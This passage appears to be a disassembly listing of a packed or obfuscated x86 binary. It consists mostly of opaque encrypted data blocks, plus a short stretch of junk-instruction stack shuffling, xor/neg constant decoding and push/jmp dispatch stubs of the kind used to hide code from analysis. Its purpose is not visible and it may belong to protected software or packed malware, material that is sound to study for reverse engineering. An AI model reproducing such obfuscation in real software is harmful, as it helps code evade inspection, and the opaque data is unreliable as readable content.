0ADCAA6EDh dd 1A53770Eh, 6D375328h, 701CF255h, 0B3BF1744h, 65114C02h dd 4B08E501h, 0B8835D96h, 5A953915h, 0D1A68A76h, 0B827B80Dh dd 3C5A5A6h, 950578Eh, 0A11D0CF4h, 3DEDCC87h, 0ED9635E1h dd 56A5A6B8h, 28B501FEh, 54EE9DAFh, 0B0EDCC0Fh, 3D1F97B4h dd 9F43BC10h, 0D6F3DB75h, 1CD07087h, 294D29DDh, 10F35457h dd 740BE7FCh, 85E195CCh, 58E6B561h, 0BB142390h, 418C6908h dd 21B97B3Eh, 7Eh, 1EBD5C6Bh, 2A7324Ch, 7C60E2C9h, 0CBD6DCCh dd 0A35BD7CBh, 215810C7h, 4DCF175h, 0FBC5B005h, 0F8D24E67h dd 0A5518E41h, 5D4ACC1h, 26B5295Eh, 2C5F3F7Dh, 949B39F4h dd 0B195B1F0h, 9C81E0Ch, 9304104Ah, 314h, 26A2E585h, 6C2F9AFh dd 2DA1DA8Fh, 0BCF9AEh, 2498D779h, 4A8DA26h, 0DF9209C5h dd 0F7AB2A9Eh, 0D27900BCh, 522E219Dh, 0DF2DEB57h, 68E0B6Bh dd 2DF40h, 7B328C00h, 0BF074E42h, 356DCC7Ch, 7358E038h dd 0CCA1CDBBh, 0CC5BE7DFh, 5AB9086Dh, 0E4626DCCh, 0DE6DCC5Ah dd 906DA65Bh, 0CC5A2B93h, 5A72CC6Dh, 0E6EDADCCh, 0F230DBF5h dd 9227FB51h, 53F5C496h, 0E7046014h, 0B084537h, 0C7AF507Dh dd 226E3EA4h, 5D230B35h, 5D6DD80h, 7EB740EBh, 532D5E11h dd 112AEA58h, 390E0A5Eh, 9880ED49h, 0B6803890h, 26AF5DEh dd 2BDB0000h, 3FE574E8h, 20C55408h, 3FE473E7h, 1DCF4602h dd 7C6ADEh, 6BDF1ED2h, 44F839ECh, 62D611B5h, 43F72CD3h dd 0DB57448h, 0E96BDF2Eh, 4D7400Ch, 0F470245Dh, 7C932FDAh dd 0F7736DCCh, 7DB259E2h, 7C24B789h, 3ED52845h, 0B8C8C39Dh dd 5867FBCBh, 34D960DCh, 11B83FFBh, 40D72CD8h, 0A2CAC19Bh dd 629E177Bh, 2B935206h, 269E151Ch, 39324C8Fh, 7C5CAEFBh dd 63A445F4h, 93966A7Fh, 942294F1h, 215C1289h, 0AAC607AAh dd 2D6209D0h, 4C812AB1h, 73A51158h, 35C4800Ah, 47D5D4A6h dd 5F8A3DC3h, 0E0D37FFAh, 4A26B53Ah, 0A81D4E30h, 0E0EB340h dd 0F02BDF56h, 7CA760DBh, 7E33358Dh, 7155D18Ah, 50853EBDh dd 3359F5A4h, 1188A7Eh, 0EDDE00DAh, 0CE4D6F12h, 0CEB592E9h dd 8049E8AEh, 3900DA56h, 0DE09C292h, 52AF972Bh, 0CFF36F8Ch dd 7C037F3h, 23E6F8D2h, 8C52AF9Fh, 2AE1FB77h, 8C52AF98h dd 0DBCBA07Ch, 0FC31DA61h, 0AF9B27E2h, 9F7B8C52h, 369C3BCAh dd 0FFEA0D71h, 738D69C8h, 65DE2CB8h, 9668C486h, 3AE61DC3h dd 36652136h, 0B646BE88h, 0C4B0E79Dh, 964E1EC5h, 93AFB35Fh dd 0A73EF5DFh, 0BEDA6823h, 0DE3AB646h, 0C3621102h, 0E073CB26h dd 11AB57h, 0D7210000h, 45225F04h, 0CC19E05Eh, 14436Dh dd 2B90000h, 6DCC1644h, 0CA09BB7Eh, 9A49F9B0h, 0B1AD9233h dd 0BD5C109Ch, 275D4C1Eh, 0BF67FBCBh, 0B342AF63h, 4F01DB8Dh dd 0E4006410h, 323BEE00h, 0CC9E10B7h, 6113EB50h, 899D4039h dd 0C320h, 4F923400h, 6DA45CDBh, 8AC36AF1h, 67A447CEh dd 81C064F3h, 31A3DFCDh, 0D8C407Fh, 189F1B5Ch, 0F4833772h dd 0A7A2164Bh, 2F6CD6D5h, 2B886BDFh, 1EBD5CA1h, 3A7324Ch dd 8358DCC8h, 0FBCBF888h, 0C29C9867h, 0CC55ED9Ch, 0B5B19420h dd 0FA19E698h, 0BE460BD8h, 5DD9CD08h, 0CE8A9270h, 0F431D8F2h dd 929E10C1h, 7B533196h, 0C9DD4039h, 53E0h, 0DF22C400h dd 0FD34EC6Bh, 0DA13BA41h, 0F734D75Eh, 0D110B443h, 0E1136F5Dh dd 0BD3CF02Fh, 880FCB0Ch, 0A433A7E2h, 1712C6FBh, 28DC6625h dd 0BB386BDFh, 5C04D7F1h, 0D8F57125h, 1769h, 96D7E300h dd 144CC013h, 0C0F7ADB7h, 63DFCAA4h, 836DCC85h, 8436D2A7h dd 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh, 533F7E32h dd 0A5519034h, 50448126h, 0A75B9439h, 55417830h, 5D5455CFh dd 4C581h, 0ED830000h, 242C8704h, 0E089505Ch, 405h, 4E88300h dd 5C240487h db 89h, 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 3E3Bh mov [esp], ebx push 669F7990h pop ebx neg ebx xor ebx, 3B8637E2h xor ebx, 0A4F5E186h mov ebp, ebx pop ebx push esp mov ecx, [esp] add esp, 4 push esi push edx mov edx, ebp mov esi, edx pop edx mov [ecx+8], esi pop esi mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5534D8 ; --------------------------------------------------------------------------- dd 0E6B80BE3h, 3061354h, 0E9C88BC5h, 143h, 543B7E8Ah, 0DA95ECE7h dd 6715893h, 0BEB6CFDFh, 365D54FDh, 0BCECA436h, 0C55DD500h dd 0D676D352h, 0FC94A4h, 0C1AEC441h, 5277CB50h, 9CACAC32h dd 6C46BF00h, 7390ADFCh, 0D6A33659h, 9C72E275h, 0DD0090BDh dd 9B8CE693h, 64A592A7h, 92A7ABDDh, 7A918F97h, 0B9F95CFCh dd 9BB1E496h, 9F47E4B5h, 0B6E592B6h, 9EBDF694h, 96B3EBB5h dd 9C93D0ECh, 7B97BF99h, 89F55CFDh, 0EDAFF493h, 0E3B2CD00h dd 0D4E594A6h, 5700C3B5h, 0F3622D44h, 38AE29B0h, 3C000000h dd 40000000h, 2 dup(0) dd 4000000h, 94000000h, 5000000h, 1000000h, 28000000h dd 200000Ah, 22h dup(0) dd 0E9000000h, 2103h, 1358EA68h, 298EE906h, 1668FFFDh dd 0E906135Ah, 0FFFD2984h, 135AA268h, 297AE906h, 8C68FFFDh dd 0E906135Bh, 0FFFD2970h, 135C5F68h, 2966E906h, 2E68FFFDh dd 0E906135Dh, 0FFFD295Ch, 135E0568h, 2952E906h, 0A568FFFDh dd 0E906135Eh, 0FFFD2948h, 13629D68h, 293EE906h, 0FF68FFFDh dd 0E9061362h, 0FFFD2934h, 13649A68h, 292AE906h, 0C068FFFDh dd 0E9061367h, 0FFFD2920h, 136B4C68h, 2916E906h, 8B68FFFDh dd 0E906136Fh, 0FFFD290Ch, 13710068h, 2902E906h, 6268FFFDh dd 0E9061371h, 0FFFD28F8h, 1371B068h, 28EEE906h, 2A68FFFDh dd 0E9061372h, 0FFFD28E4h, 1373B668h, 28DAE906h, 0A868FFFDh dd 0E9061374h, 0FFFD28D0h, 13767C68h, 28C6E906h, 0DB8BFFFDh dd 0EF952498h, 0D07504B8h, 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh dd 0FBAFEEA2h, 0D488C97Ch, 0F266A145h, 0D387BC63h, 9D25E4D8h dd 796BDF2Bh, 7932B07Ch, 7CE75B4Eh, 23FF6DCCh, 8B34533Fh dd 767DE256h, 34628B65h, 216C2327h, 0A01D7F4h, 67FC5021h dd 54EE9DC3h, 7B943C50h, 0AD79E4DAh, 6BC7B774h, 0EA289A91h dd 50CC943Ch, 0F7AB877Bh, 3CEA16B0h, 49822794h, 4D883E5Dh dd 4E8F4259h, 656B0A99h, 6660FFB4h, 0EA319178h, 50D5943Ch dd 13B158AEh, 54294DA3h, 7A75824Bh, 316239h, 5CA80000h dd 5D4C1EBDh, 67FC7C74h, 0F5C49692h, 5611552h, 0D76F36E8h dd 36943C7Ch, 0FAE4E67Dh, 3C7CB30Fh, 2D75394h, 7B35B4FDh dd 0CC9439h, 32F60000h, 0DE504479h, 906DA65Bh, 2EE221C3h dd 0C7BBF097h, 66E217D0h, 0E324C594h, 0E61D06h, 12B96DCCh dd 31DA61DDh, 80BF0306h, 0DB579233h, 1FB60BF7h, 0FAE7A2BCh dd 1C9803F6h, 0A0378C40h, 0C96A213Bh, 4D9E1559h, 2AE1FFD1h dd 9E114998h, 0B5CBA07Ch, 29438226h, 0CFC3FAB2h, 0C614B4Ah dd 6A86DEE2h, 9E52C98Dh, 0AD77FA5Fh, 4B5B4038h, 1E335Ah dd 63A64800h, 81B870E7h, 5E974ECDh, 7BB86BEAh, 559438BFh dd 6597F3D9h, 51C884C3h, 6CEB5FA0h, 38BF7BB6h, 0EBDE5A8Fh dd 24A81A11h, 4F4C6BDFh, 3F7E32C5h, 1E530C8Bh, 9BDC8D4Ch dd 2C9695E7h, 0C86DCC7Ch, 0EB73886Ch, 2459DC11h, 428C2206h dd 0A3C18128h, 49256DCCh, 0BD5C9834h, 745D4C1Eh, 9267FC7Ch dd 3BBEA96h, 14943C7Ch, 4A41356Ch, 0E019D0A2h, 60143034h dd 0FBDF764Dh, 3C7CB210h, 0FAD65294h, 0FCA43709h, 14BAD1C5h dd 2D492DD9h, 7CEA5853h, 0E0A943Ch, 0FCB6A39h, 7E5B964Ch dd 7B363879h, 0BC1839h, 93260000h, 65C1B5EEh, 96D7BC88h dd 2534902Bh, 951E3B52h, 0CECDB9EEh, 2DD21Ah, 28DD382Eh dd 0F211584Ch, 0CD6DCC35h, 4C0FE116h, 0B77F5C95h, 9E528740h dd 4719C251h, 0B693CE74h, 3BFAE7A2h, 401C67FCh, 3BA0378Ch dd 93D86A21h, 0D73C9E0Ah, 0BF66DE63h, 0B1969A86h, 907B57F7h dd 9E11B632h, 567A56D2h, 0D413B584h, 508B3FFAh, 62D9C37Bh dd 0F231D3AFh, 8E42F9CEh, 771EA4Fh, 55414038h, 1D0744h dd 276A1C00h, 457C24B3h, 225B1289h, 3F7C2FA6h, 19580C8Bh dd 295BA7A5h, 5944887h, 30A72364h, 0C8B3F7Ah, 0BFAA1E53h dd 2674CEBDh, 13906BDFh, 3F7E3289h, 1E530C8Bh, 79321CAAh dd 92395044h, 6C3DE15Dh, 738D4E65h, 0FC202BB8h, 0D44FCB67h dd 91379723h, 9843D251h, 7D92C3C6h, 952C5A9Dh, 0E38FB3F4h dd 0FAD4070Eh, 0AD6EC10Fh, 0CBA58150h, 0A6225710h, 266105D4h dd 5AE1F67Ah, 0F52AE1B1h, 0D3F96CD1h, 0E1B582A4h, 1C7BF8h dd 9BDE9000h, 0B9F0981Fh, 96CF7605h, 0B3F09322h, 8DCC80F7h dd 3DAFDBD1h, 9904C8Bh, 24B32768h, 1087437Eh, 0C3A62257h dd 2670D2B9h, 17946BDFh, 0A979328Dh, 5DD9CD02h, 0A1388D79h dd 0EC69203Ah, 867FC12h, 968F33F6h, 0B679423h, 1E302CEEh dd 96F94940h, 411D9423h, 0C106B22Ch, 64DECDB3h, 80942396h dd 9F36C7A4h, 4D3C223Ch, 942396F5h, 20381511h, 13CAF869h dd 8A3DFC9Eh, 8B42594Dh, 9EC29E52h, 5C488327h, 88FF03D8h dd 0DBFAA6E3h, 3D39ED26h, 0D17A3D19h, 56C21CEEh, 6D7F5C7Bh dd 1B2A9893h, 4ECA41E2h, 0F3A46779h, 8B4BD277h, 70EE38Fh dd 0C10FFAD4h, 8141E264h, 522C610Ah, 0C264EB57h, 330F0B4Dh dd 0ABE9A219h, 7DFEC661h, 1E0DDFD5h, 4DC251A4h, 4C00E440h dd 7CE116CDh, 93EBE097h, 91FEE7BFh, 0A600001Bh, 8E0DC104h dd 0AC2B9FD6h, 7900BCF5h, 962599D6h, 11F7B3F2h, 0A6E587F5h dd 0C102A332h, 9DD88E0Dh, 0BCF19A21h, 78330D00h, 6BDF27CAh dd 32E7AD2Ah, 63504479h, 0B6758754h, 67FC0A99h, 0B0E38853h dd 238D49F9h, 95B1AD94h, 0F266C2B8h, 50679046h, 42EA718Bh dd 0F40AEE0Bh, 8DA31F0Ah, 0F1439423h, 238D883Ah, 0D4F06C94h dd 0D1970CF7h, 3D2F9E13h, 13B1F44Eh, 120B109Eh, 685C412Bh dd 0BCFFEC08h, 0E26FA310h, 0A556D1F5h, 7BBB9F4Fh, 0B7EE9625h dd 1EB443A2h, 0AF6330FCh, 0BF91B5D4h, 0CA509BCCh, 5B472330h dd 728C4F66h, 0DA1D79B7h, 431D1936h, 1E9ACF78h, 97CA7D3Ch dd 0D98C2E94h, 866AC626h, 0FAC1969Ah, 0C0AF1C51h, 6CF8F03Dh dd 1ABE2FB8h, 33D30000h, 7BD3CF0h, 28DD5CD0h, 7BC3BEFh dd 0E5870ECAh, 0C83432A6h, 3B7F69Ah, 1C90D174h, 0FAAEE99Dh dd 1B8FC47Bh, 0E55D4C30h, 16BDF20h, 793218A4h, 55542A44h dd 6DCC7CEDh, 7C9E24E7h, 0FA766DCCh, 55512602h, 68825960h dd 0FC1B04C1h, 0EB9EC067h, 94239D57h, 110544E8h, 0EC015D15h dd 0DA7E3A36h, 1BC057D8h, 0C1D94A41h, 5DB9E13h, 13C1BC06h dd 8F41589Eh, 0A3577450h, 0A9300CC7h, 5BD7CB04h, 0C07857Eh dd 93229B55h, 0D3BFF8ADh, 0B259734Fh, 916118FDh, 0CF9AD89h dd 77AC53EDh, 815F815Bh, 408F388Ah, 6B80DC9Dh, 70C570C0h dd 3A141097h, 0F34F3A24h, 1387B0C4h, 0D2794217h, 0F19A219Dh dd 75760FBCh, 0DEB65999h, 19EFF5h, 1F620400h, 3D742CABh dd 1A53FA81h, 3774179Eh, 1150F483h, 2153AF9Dh, 0FD7C306Fh dd 0C84F0B4Ch, 0E473E722h, 5752063Bh, 211CA665h, 0FBF86BDFh dd 44793231h, 87546350h, 1255B675h, 9A3167FCh, 0C09AB6F7h dd 671B54F9h, 0E7ADE0Bh, 0EF8075E1h, 0F3B864DAh, 0F20CCFE6h dd 1393AA37h, 55D04C9Eh, 833F527Bh, 0BBA0D58Eh, 0BD7CE5E4h dd 3E22CE09h, 73058229h, 0FCBF62DAh, 1C180C45h, 0CE179E3Fh dd 0DA7567DBh, 5F087F0Dh, 502A462Ah, 0EA190459h, 0DAC6A207h dd 0BD536B60h, 7AA1EE00h, 0E2F9005Dh, 8F33F608h, 6737C9A7h dd 0A7AC1615h, 0EC4837C9h, 1E0DF308h, 3DF9EDD6h, 0CB77324Ch dd 2B3E39DDh, 0C681A2Fh, 8BC067F2h, 6A9F48CFh, 106C3EFDh dd 118292E0h, 1918h, 7E3A7D2Dh, 9E1A51F7h, 85397217h, 981451F6h dd 7C306F21h, 4C00728Eh, 27CA510Dh, 3FE372E6h, 1AD14804h dd 7A8669E5h, 0DF22338Fh, 4ED6D36Bh, 50447932h, 75875463h dd 7C22A08Bh, 66C26DCCh, 76BC6F91h, 0E67FBD2h, 0CA813812h dd 9992BB95h, 44852832h, 49421B17h, 0D7FBAA34h, 929420DFh dd 61D85487h, 6CB975AAh, 0A2BC8E4Dh, 0DE75CDBCh, 0FA919420h dd 0B671B52h, 0D91912E7h, 7D9E1770h, 540CCFA1h, 0D578431Dh dd 6784E094h, 89C068EFh, 1045FE9Dh, 3C81EEABh, 454E4640h dd 1878h, 1E9ADD8Dh, 0FEBAF197h, 2599D277h, 0F8B4F196h dd 1C90CF81h, 0ECA0D22Eh, 7AA31ADh, 0DF8312C6h, 0FAB128A4h dd 1A2609C5h dd 0DF22D36Fh, 0EEB6336Bh, 4C1EBD5Ch, 0FBD2955Dh, 1B353167h dd 30A9E7A0h, 0E10523C3h, 5EC3775Bh, 0BB6E805Bh, 94201813h dd 0D4836FEBh, 9420186Bh, 9F5AF98Ah, 397EC64Eh, 792Eh dd 0E4895000h, 204CF6B5h, 0CCA89420h, 6378FCA8h, 1AC15CC9h dd 7CE54940h, 0CEFF6DCCh, 0DD9860BFh, 0AC6E8B85h, 0F9C09EB0h dd 0B671B54h, 0CC94A61Ch, 0F911096Dh, 3B782142h, 7C2BDE43h dd 4C611834h, 4535328h, 6DCCA5BAh, 6E8B2A59h, 336A50A3h dd 40E0DA13h, 8911DB7Fh, 1CFC74h, 24E0000h, 6DCC7C45h dd 14E6F504h, 0FC0D6815h, 0AE2A0667h, 2D489FCCh, 0E18E830Fh dd 0BD5C400Ch, 0A7324C1Eh, 0F7B4C902h, 67FC0652h, 72CCB8B4h dd 8A259D8Ch, 0EC9F9423h, 94238A56h, 5EBAB2AEh, 0E419D289h dd 0C29E4F0Ah, 421ED20Bh, 0D9EE721Eh, 0F82DD665h, 0B111F8E6h dd 2094238Ah, 0B52C2427h, 77F3AB62h, 8325A462h, 0ACC807A9h dd 0F42BE1F8h, 0ABE48900h, 44DBC4F7h, 67FEA578h, 2FDA05BEh dd 9423A893h, 5FDBF773h, 5042FD8h, 9423A8BDh, 0DF9DD59h dd 0A0BA21B8h, 13D880E9h, 2EAA869Eh, 0D7CB00A7h, 49605190h dd 1EB50E06h, 0E7A07017h, 4A367517h, 1A160AE6h, 4CF38236h dd 6D89C87Ch, 3A6D22B9h, 6560F34Fh, 883AF116h, 6C166560h dd 402400F0h, 0ED6C4254h, 0A147FE39h, 9DBAB66Ah, 5BE67FEh dd 883BFED0h, 31A82E4Bh, 6451457Ah, 0B5748655h, 1C550144h dd 3924622h, 5C7B275Ch, 1BC68A9h, 692203A2h, 4A017834h dd 86123B15h, 5BC8D5F3h, 361C2E93h, 8878DC11h, 0B73EB373h dd 0A5344A24h, 56DAC601h, 0A7C98A81h, 918D1264h, 0B0E59E1Dh dd 8E6A1B9Eh, 0CAB69ADBh, 33DF14CBh, 4836132Fh, 44E4A521h dd 6E059E72h, 6FEB20C7h, 0F50742E8h, 0E4A2200Bh, 0E6423244h dd 0D2761511h, 19AADF93h, 0CC07BB7Ah, 0AAE58910h, 0EF2CDFF6h dd 0C23BF0DDh, 7E6BE220h, 6A1EBD69h, 0E99DDC90h, 0B0BD698Dh dd 0CB1FA73Ch, 6A229928h, 9E553F33h, 0BDE6B907h, 104BFF26h dd 2E691D9Ch, 1316E842h, 3244F0AFh, 988CCD80h, 9792E49Ch dd 3244F02Bh, 56734FCBh, 11EBF007h, 748AB11Ah, 7D95538h dd 0A9608B34h, 34B4FE19h, 284521FDh, 3ED56C76h, 0A41853F7h dd 4D396E15h, 0B460954Eh, 42DC4D7h, 2A54265Bh, 0B4FDC37Fh dd 32472334h, 0B520F1ACh, 6A00D9F2h, 4A000000h, 206104D7h dd 60DBF074h, 0A9836FAAh, 2B407D32h, 5F053BDAh, 623EFD1Fh dd 0FFE39A79h, 0B92209E3h, 2B67FC3Eh, 0D4C0F9B0h, 9A13AF5Ah dd 77F39423h, 388A815Bh, 0DC94239Ah, 0BBB76B80h, 76CCBFA1h dd 8E94239Ah, 1F01B592h, 9BD27A41h, 269C8BE7h, 0BE94239Ah dd 21A18862h, 0C594239Ah, 54D59469h, 0DB000000h, 5A6FAA60h dd 417C32D2h, 82596055h, 2F939668h, 0C76DCC7Ch, 0ADC8AE62h dd 5E82B7DEh, 77897789h, 0CC9C0EB4h, 7DC5C46Dh, 996DCC9Ch dd 7489E59Dh, 0FCFFFAB7h, 6517A67h, 0B17B59B4h, 7B1208E5h dd 9D998DC6h, 0B09FABB0h, 60848BD8h, 0DA19CB8Eh, 0D7B339FDh dd 7A265B04h, 703DE1F6h, 51F64A69h, 0F34F3A14h, 136DCC7Ch dd 9A213B17h, 68CCB8F5h, 25BE6D93h, 0C167FC20h, 8939E265h dd 0D089F4CFh, 55ED9C49h, 0B168F0B9h, 52F09BB5h, 0B268F0B9h dd 8BC09AB6h, 38ECEBE1h, 0AD18D4F9h, 1271F4Ch, 4E6B1A2Ch dd 0F3A46779h, 8B62C0ADh, 70EE38Fh, 0C10FFAD4h, 8198D09Eh dd 5710CBA5h, 0AAD4A622h, 0D01243FFh, 792CA394h, 0CE84C38h dd 86BB64EFh, 0F9A30EE1h, 192824Ah, 1480h, 0F6B2F595h dd 1692C97Fh, 0FDB1EA9Fh, 0D08CC97Eh, 0F468A749h, 0B4588AF6h dd 8F42B975h, 0A75BDA4Eh, 0C269F06Ch, 0E2DED18Dh, 0DF1E9B27h dd 961E7B6Bh, 0CC7D4002h, 0EBF0076Dh, 0D0291A11h, 51CD9803h dd 0CB06BC7Fh, 0A7E2880Fh, 0AC5F81FBh, 9423B016h, 0DE5572EEh dd 624BF025h, 124A0A02h, 141E9102h, 93330000h, 0A75DDC50h dd 883DBC70h, 0A75CDB4Fh, 0C567EE6Ah, 0A8D4D286h, 0E357963Ah dd 0BC70B154h, 0DA4E893Dh, 0BB6FA45Bh, 853DECD0h, 616BDF1Eh dd 0BD5CB884h, 645D4C1Eh, 8267FC2Fh, 8F97D4A6h, 6C81C415h dd 7EBB70E7h, 0A7B98E92h, 1B356C14h, 0B9FC4645h, 1C189423h dd 0C3AFE89Dh, 0EAD48A5Fh, 0B9AD1514h, 64279423h, 9423B9DEh dd 4B423A36h, 69835F94h, 23B900C2h, 7388E494h, 1D0940E8h dd 0F44E3D23h, 109423B9h, 0F34F3A14h, 139423B9h, 0D2794217h dd 0B95EE4A7h, 0BAB69423h, 630F44FBh, 0F709E3FFh, 23B98E34h dd 15146694h, 9423B9ADh, 0F409ED49h, 0B2F19332h, 0E625C7BEh dd 0A73E5D3Ah, 9258CD10h, 0DCF8E770h, 0F938D76Ah, 0FCA01C53h dd 34A733C4h, 0AAE89F1Ah, 37279E38h, 2C412522h, 3D742CABh dd 10A52249h, 364D9423h, 0B7EE969Fh, 95CC7403h, 124700BBh dd 39E5025Eh, 9CAE2DCCh, 34181FAFh, 7B50560Ch, 20CA665h dd 23089E14h, 98171048h, 6BD7D271h, 8B9E10F8h, 0BD8FB38Fh dd 9C1045FEh, 4531661Dh, 8D7C6970h, 9E10F835h, 0F846FCAFh dd 0C29E9E10h, 58724ECAh, 0F6D34586h, 3EC8838Ch, 54294D88h dd 27DA7E57h, 0C29C9894h, 0C98050F7h, 2A77AB90h, 839DDDE4h dd 0B36CEB5Fh, 0EA063DE3h, 0B12AC936h, 808CC19Fh, 4389DBEEh dd 0A41E0DDFh, 408004C7h, 2B1C07E4h, 918A34BEh, 7FB2D45Ch dd 637831E8h, 99FBBA9Fh, 6F36F95Ch, 67CFE653h, 0B363545Dh dd 128322h, 0B3F69800h, 91C880F7h, 0AEE79E1Dh, 8BC87BFAh dd 65A448CFh, 558703E9h, 41B874B3h, 5CDB4F90h, 68EF6BA6h dd 0DBCE8ABFh, 18982AE1h, 1F7C6BDFh, 7C590295h, 40E66DCCh dd 0DDFC4905h, 683DECFEh, 0F667FBD1h, 34D9607Ah, 0D7A93FFBh dd 4DD10696h, 5C4FDE23h, 6DCC54E6h, 293E22FEh, 0EAF99B76h dd 97500B30h, 60E38562h, 0DD000001h, 54BA0803h, 0F193924Ch dd 0AA62BEB2h, 5C1399AEh, 0D78F1DC2h, 0CC7C6BD4h, 34DA616Dh dd 5470A55Eh, 498629A0h, 0D0FDD95Dh, 59288CDh, 0B68A5FE4h dd 4D7F8BEh, 0F470245Dh, 0D72B01D7h, 0A3225F04h, 17ACC102h dd 0C35CAE74h, 0BA128E1Ch, 8D1BC05Ch, 2BF69E2Eh, 0B366B22h dd 32h, 1CC35C81h, 5B04D78Eh, 0E79BD88Bh, 9782678Bh, 70F2C85Bh dd 8487596Eh, 6DCCF83Bh, 0D7D157D3h, 5D04D7F5h, 0D58C4724h dd 8A420E9Ch, 3440h, 0C35C8C00h, 0D4D78E1Ch, 6DCC7C6Bh dd 3A731AA1h, 4006EA46h, 265B04D7h, 0FFE1F67Ah, 4796D72Dh dd 0AFEC10A3h, 31D86378h, 2EE5E6F8h, 0CCB2955h, 42ECB895h dd 222BF68Ah, 450B366Bh, 81000000h, 0CC80C05Ch, 0DB1ACE8Dh dd 0A9D731F7h, 7C6ED4D7h, 0AA866DCCh, 7C69D6CDh, 6A636DCCh dd 38F02DD1h, 0F11DDC01h, 0F8742643h, 71B253E6h, 2016AC5Fh dd 72EE6DCCh, 0F5D7CF55h, 75437A32h, 4A408A42h, 8C000000h dd 9625C05Ch, 66CAB6EFh, 0CC7C03BFh, 9A91E36Dh, 6DCC7C28h dd 507450CCh, 6BD4D7CAh, 0A16DCC7Ch, 0F5D7E7B5h, 75437A32h dd 4002A9D7h, 0A46DCC7Ch, 7C6BD7D2h, 8F8B6DCCh, 50F299B3h dd 0B46DCC7Ch, 5428A3B8h, 0C7A4E385h, 0FE8140FDh, 5C8CFFFFh dd 5D4C1EBDh, 67FBD295h, 0F64C3F31h, 0E9420D6h, 0D6D56D1Ch dd 35319420h, 0A01B3511h, 24F6B2E7h, 0C9C0F195h, 9420D679h dd 0C8A5C19Dh, 2739A235h, 20D6DE64h, 45443694h, 9420D6FDh dd 4D391D19h, 20D6BA1Eh, 8EC57B94h, 142E3E2h, 0DE750615h dd 0D37201F2h, 7E7FBB16h, 3B9B39h, 2F10000h, 6DCC7C44h dd 41FD32D9h dd 0CC7C3D8Ah, 0A39D3C6Dh, 498629FFh, 0A437492Dh, 0D0A8C5FCh dd 0A1772BAEh, 60C4B0EFh, 2FBC6784h, 0B767FC20h, 761AA1BBh dd 2B9C2237h, 0F3h, 1EBD5CA1h, 5A7324Ch, 9FAB1C6h, 0ED67FC19h dd 266E5F71h, 1E162D8Ch, 904B2D4Ah, 0A0CD9FDAh, 436BEEE8h dd 0FFD01096h, 0ADA3B783h, 0AB2AB4C9h, 0FBC8BCF7h, 13EDFFDCh dd 1A3D39DAh, 512B7631h, 23CAE85Ah, 3B100C94h, 14649A50h dd 1C2E2A9Eh, 97D47742h, 0E97287EBh, 6C4E0A45h, 528F0D7Fh dd 0E2F7E46Dh, 8584B559h, 9E10513Dh, 0C705DD9h, 0CBBA4FCEh dd 0CAB4C6AAh, 108963DFh, 0D2A7839Eh, 3D8DFD4h, 3EAB42E9h dd 0D63B9427h, 0F49DF3B6h, 728C68B9h, 160A41E7h, 0B28ECD7Fh dd 0C39DC395h, 6B1752F8h, 5EA22007h, 0CA7B8005h, 0C09D9989h dd 0A3174CF3h, 91366B14h, 5E2CEC3Ch, 5DB720F4h, 7200000Fh dd 3AC17DC0h, 58DF5B92h, 35C478B1h, 62D95592h, 0CDBB6FAEh dd 62A143B1h, 7DBE6FE6h, 59943AC1h, 78AD56E5h, 34F7C9C4h dd 6BDF1B8Eh, 32C38966h, 0DE504479h, 0B76BA85Bh, 0BB019CB2h dd 547025F8h, 0CE03BC77h, 0BF566522h, 2498CD76h, 0DD65243Ah dd 396DCC02h, 9657203Dh, 76336AABh, 6Bh, 0E11ED188h, 4D7400Ch dd 0B94C2160h, 0D1AFC11Ah, 0CC7C68DAh, 0BB908C6Dh, 10B1E6A5h dd 0DB4D67FCh, 23979230h, 0DAF67294h, 4CE2CB00h, 4F4D1571h dd 6FA2FD8h, 3A514D2Ah, 59E05C91h, 0ECCE74B2h, 769FEA89h dd 94B805Ah, 7C2D5645h, 976C1A2Fh, 1CA66580h, 0F89423B2h dd 0A95D4F7Ch, 0D7148D02h, 0D92AE1FBh, 0BD9E1367h, 0D75FED61h dd 6B32F496h, 0F262ACF5h, 0A4D26199h, 4DF3B28Eh, 0F1066A16h dd 0CF8BC26Ah, 0AA1813EDh, 4A6DCCBAh, 8A42F9CEh, 0AC27953h dd 6108F6D3h, 6DCCBAFAh, 0F266A145h, 7B55868Dh, 0FB17CC90h dd 7D2C5267h, 94210CC5h, 72284521h, 0B055E4F6h, 0F625C377h dd 30EB221Bh, 140FBh, 0C25C5100h, 0D4D78F1Dh, 6DCC7C6Bh dd 209BB5A1h, 43422E6Bh, 0B5B1659Eh, 0D7F0BC91h, 0AF771AF5h dd 8E1CC35Ch, 0C05CBA12h, 9E2E8D1Bh, 6B222BF6h, 2D0B36h dd 5C810000h, 0D78E1CC3h, 0CC7C6BD4h, 21A7836Dh, 7F32A9D7h dd 0F9CE523Eh, 427B3233h, 0D78A4274h, 7C4002A9h, 0C8A46DCCh dd 4E36B3h, 0D7860000h, 71255C04h, 4F1504ECh, 381C3C4Ch dd 0B039C223h, 0CCB849F9h, 95B1AD6Dh, 1C4700BBh, 0CCB8D56Dh dd 1135316Dh, 0D4D7703Ch, 6DCC7C6Bh, 76CCBFA1h, 8E6DCC7Ch dd 611556F7h, 1C0FE105h, 6DCC7CA6h, 38FEE23Eh, 7B32F5D7h dd 8A427442h, 6B222BF6h, 420B36h, 5C810000h, 90C980C0h dd 0D66480E4h, 4002A9D7h, 826DCC7Ch, 0CC7C3B87h, 8F7FDB6Dh dd 0E7A2B693h, 6DCC7C5Eh, 9A6A21B8h, 0EC98BCF1h, 0C7926C88h dd 383CE823h, 0F5D78923h, 75437A32h, 40408A42h, 8C000000h dd 8D1BC05Ch, 265B04D7h, 2F512F51h, 0CC7CC67Ch, 25421E6Dh dd 0CC7CC17Eh, 8D1B3B6Dh, 4D7F5D7h, 8D46235Eh, 0A95297D7h dd 6AEC709h, 0F87C285Dh, 0F8E6F8DCh, 0CC5EB111h, 4D9556Dh dd 408A4228h, 0FFFFFEB7h, 1EBD5C8Ch, 0D2955D4Ch, 0F10F67FBh dd 20D6883Ah, 39F06C94h, 7B7F5C93h, 0BAB3CD9Fh, 6CFFA060h dd 54DFFCC7h, 9D636DABh, 0B7AC2FCh, 96D195Ah, 